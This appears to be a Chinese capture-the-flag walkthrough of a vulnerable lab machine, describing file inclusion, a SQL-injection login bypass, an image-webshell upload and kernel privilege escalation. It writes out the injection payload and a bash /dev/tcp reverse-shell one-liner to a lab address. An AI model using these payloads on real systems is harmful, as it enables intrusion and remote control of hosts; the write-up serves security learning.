信息收集
主机发现
端口扫描
目录扫描
这里使用了/usr/share/dirb/wordlists/big.txt
这个字典(默认的字典扫不出来数据库后台):
漏洞发现及利用
老规矩,先访问80端口:
直接就是一个登录框,还说告诉了sql,尝试万能密码,失败,但是会显示sql语句,并打印输入的用户名密码:
访问其他页面:
1./add:一个文件上传的页面。
2./in 直接一个phpinfo:
3./test 提示没有file参数:
4./uploaded_images/ 一个图片的路径,可能是文件上传的点。
5./phpmy/ 数据库登录后台
接下里找利用点,phpinfo已经有了,查看配置,本地文件包含开启。
在test页面中,存在file参数,测试是不是文件包含点:
使用post提交:
存在文件包含漏洞,并且直接可以下载。
将目录扫描的一些页面的源码扒下来:
1.c.php:
直接爆出了数据库的账号密码。
2.index.php:
sql的一些过滤及注入方式,将单引号替换为空,并且先验证密码。
3.panel.php:
第一部分:
./被替换为空,load处存在文件包含。
第二部分:
文件上传的一些限制,白名单。
利用方式
1.得到了数据库的账号密码,直接登录,获得了index.php登录页面的账号密码。
2.尝试绕过sql注入的语句:
在验证数据的时候,先对密码进行了验证,并且url进行了解码,过滤了单引号。
绕过方式:
password:\
uname:or 1=1 #
插入sql语句后:
select * from auth where pass='\' and uname='or 1=1 #'
这样就变成了:pass的值为' and uname=(单引被注释掉,使剩余的单引号闭合)
uname恒成立,or 语句恒成立,成功绕过。
在Add User下存在文件上传:
同时页面为panel.php,以POST上传的load参数存在文件包含(由源码得知),所以,上传图片文件(白名单),配合文件包含,反弹shell。
上传图片马,包含php反弹shell脚本:
上传成功:
通过load参数进行文件包含,kali进行监听:
额,连接断开。
换个图片马:
GET传入cmd执行命令:
ok 反弹shell:
echo "bash -i >& /dev/tcp/192.168.133.129/7777 0>&1" | bash
这里要进行url编码,原因(不太清楚,浏览器url编码??)。
成功反弹shell:
提权
内核提权:
uname -a
cat /etc/issue
先开启一个终端:
python -c 'import pty;pty.spawn("/bin/bash")'
searchspolit查看提权方式:
.c文件,先下载kali,shell中wget远程下载(先进入tmp目录):
进行编译:
提权成功。
拓展
phpmyadmin的默认配置文件为config.inc.php,通过文件包含下载(目录为/var/www/phpmy/config.inc.php):
通过ssh远程连接成功。
总结
sql注入的绕过方式。
文件包含的特征file。
简单的代码审计。
一些默认的配置文件。
一句话木马的变形。